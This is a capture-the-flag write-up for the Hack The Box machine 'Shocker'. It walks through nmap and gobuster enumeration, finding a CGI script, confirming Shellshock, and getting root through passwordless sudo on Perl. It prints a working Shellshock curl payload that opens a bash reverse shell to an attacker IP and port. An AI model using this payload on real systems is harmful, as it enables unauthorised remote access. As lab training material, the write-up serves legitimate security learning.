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Looking at the feedback from the basic nmap , there is the basic port 80 open. The 
interesting information is that port 2222 has ssh instead of the usual 22, might be of 
value later on.

Basic nmap  scan results: nmap -A $IP -oN nmap-initial.txt

Checking the feedback from the nmap  scan with vulnerable scripts enabled and I 
didn’t see anything of use because the slowloris  attack described is the standard 
CVE talked about with each scan. 

nmap  vuln scan results: nmap --script vuln $IP -oN Nmap_vuln-initial.txt

After a long time of trying everything that I knew, I was still unable to find an entry 
point. I did some short reading on 0xdf’s writeup to figure out what the next rabbit hole 
I need to jump down is, and it started with using -f  on gobuster , so that I could find 
the /cgi-bin/ . Which was unable to be found when running a normal gobuster scan. 

Using -f  with gobuster

https://0xdf.gitlab.io/2021/05/25/htb-shocker.html
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Now with a new directory to search through gobuster  finds a new file, /user.sh . 
Looking at the file, its just an uptime script, with nothing else in it. 

gobuster  finds /user.sh

Looking at the /user.sh  file 
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Shellshock Vulnerability 
This box is vulnerable to the shellshock vulnerability and I only found this out by 
reading the writeup above more. However, thinking about it more of course the 
boxes name hints at that, but also so does the one image on the site that is a bug. I 
wasn’t familiar with the shellshock vulnerability beforehand, so this thought process 
didn’t occur to me.

nmap  has the ability to scan for the shellshock vulnerability 

nmap  confirming that the box is vulnerable to the shellshock vulnerability 

nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/user.sh 

shocker.htb -o shellshock-scan

Now it's time to exploit shellshock and to do this I used this article for understanding 
testing and exploitation. Once the ID check was passed, I entered the command 
required to get a shell on the machine!!

Using the curl  command to see if user “id’s” pop back 
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Carrying out the same check, but with BurpSuite  

Abusing the shellshock vulnerability to get a reverse shell on the system 

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.12/3333 0>&1' 

http://10.10.10.56/cgi-bin/user.sh

🚩User.txt Flag🚩
Now that I’m on the system, the user flag was able to easily be found in shelly  

directory 

User Flag

🚩Root.txt Flag🚩



Shocker 6

The root flag was easy to get because there wasn’t a password required for any 
sudo privileges. All I had to do was check GTFOBins for a Perl entry and then enter 
the supplied command to become root on the machine!

sudo -l  shows that there isn’t a password required to become root on this 
machine

Displaying the root flag 

What I learned
I learned to use -f  when running gobuster  because it can produce some 
directories which haven’t been found with a normal scan 

https://gtfobins.github.io/gtfobins/perl/

